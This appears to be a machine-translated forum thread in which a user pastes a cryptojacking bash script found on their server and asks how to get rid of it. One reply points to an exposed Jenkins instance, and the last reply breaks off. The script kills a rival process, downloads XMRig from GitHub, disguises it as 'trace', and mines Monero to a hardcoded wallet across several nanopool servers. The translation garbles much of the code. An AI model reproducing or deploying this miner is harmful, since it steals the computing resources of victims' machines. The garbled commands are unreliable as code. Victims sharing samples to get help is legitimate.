#!/bin/bash
If the pgrep trace; Then pkill trace; Fi
ThreadCount=$(lscpu | grep 'CPU (s)' | grep -v ', '| awk' {print $2} '| head - n 1);
HostHash=$(hostname - f | md5sum | the cut - c1-8).
Echo "${hostHash} - ${threadCount}";
Rm - rf config. Json;
D () {
Curl - L - insecure - connect - timeout - Max - time 800-30 fail "$1" -o "$2" 2 & gt;/dev/null | | wget - no - check - certificate - timeout 800-1 "$1" -o tries "$2" 2 & gt;/dev/null | | _curl "$1" & gt; "$2".
}
The test! The -s trace & amp; & \
D https://github.com/xmrig/xmrig/releases/download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz trace. TGZ & amp; & \
The tar ZXVF - trace. TGZ & amp; & \
The mv xmrig 5.0.0/xmrig trace & amp; & \
Rm - rf xmrig - 5.0.0 & amp; & \
Rm - rf trace. TGZ;
The test! - x trace & amp; & Chmod + x trace;
K () {
./trace \
- r 2 \
- R 2 \
- keepalive \
- no - color \
- donate - level 1 \
- Max - CPU usage - 85 \
- the CPU - priority 3 \
- print - time 25 \
- threads "${threadCount: - 4} "
- the url "$1" \
- user 46 sfbbm3xsjbo54d5a8pyuu5yq31x6rpv6tbhe22cd7vyejuyfuhzbf5rtf1otb1d8mqghxx5rbbeekzd8fbaamcffv9y5c \
- pass x \
- "XMR \
- keepalive
}
K: xmr-asia1.nanopool.org: 14444 | | k xmr-eu2.nanopool.org: 14444 | | k xmr-us-east1.nanopool.org: 14444 | | k xmr-us-west1.nanopool.org: 14444 | | k xmr-asia1.nanopool.org: 14444 | | k xmr-jp1.nanopool.org: 14444
How to solve it? Otherwise reward, thank you all for bosses
CodePudding user response:
Look from the link to download the script virus, and then extract the runYou opened the Jenkins
Top view under high use process, and then kill it off
CodePudding user response:
The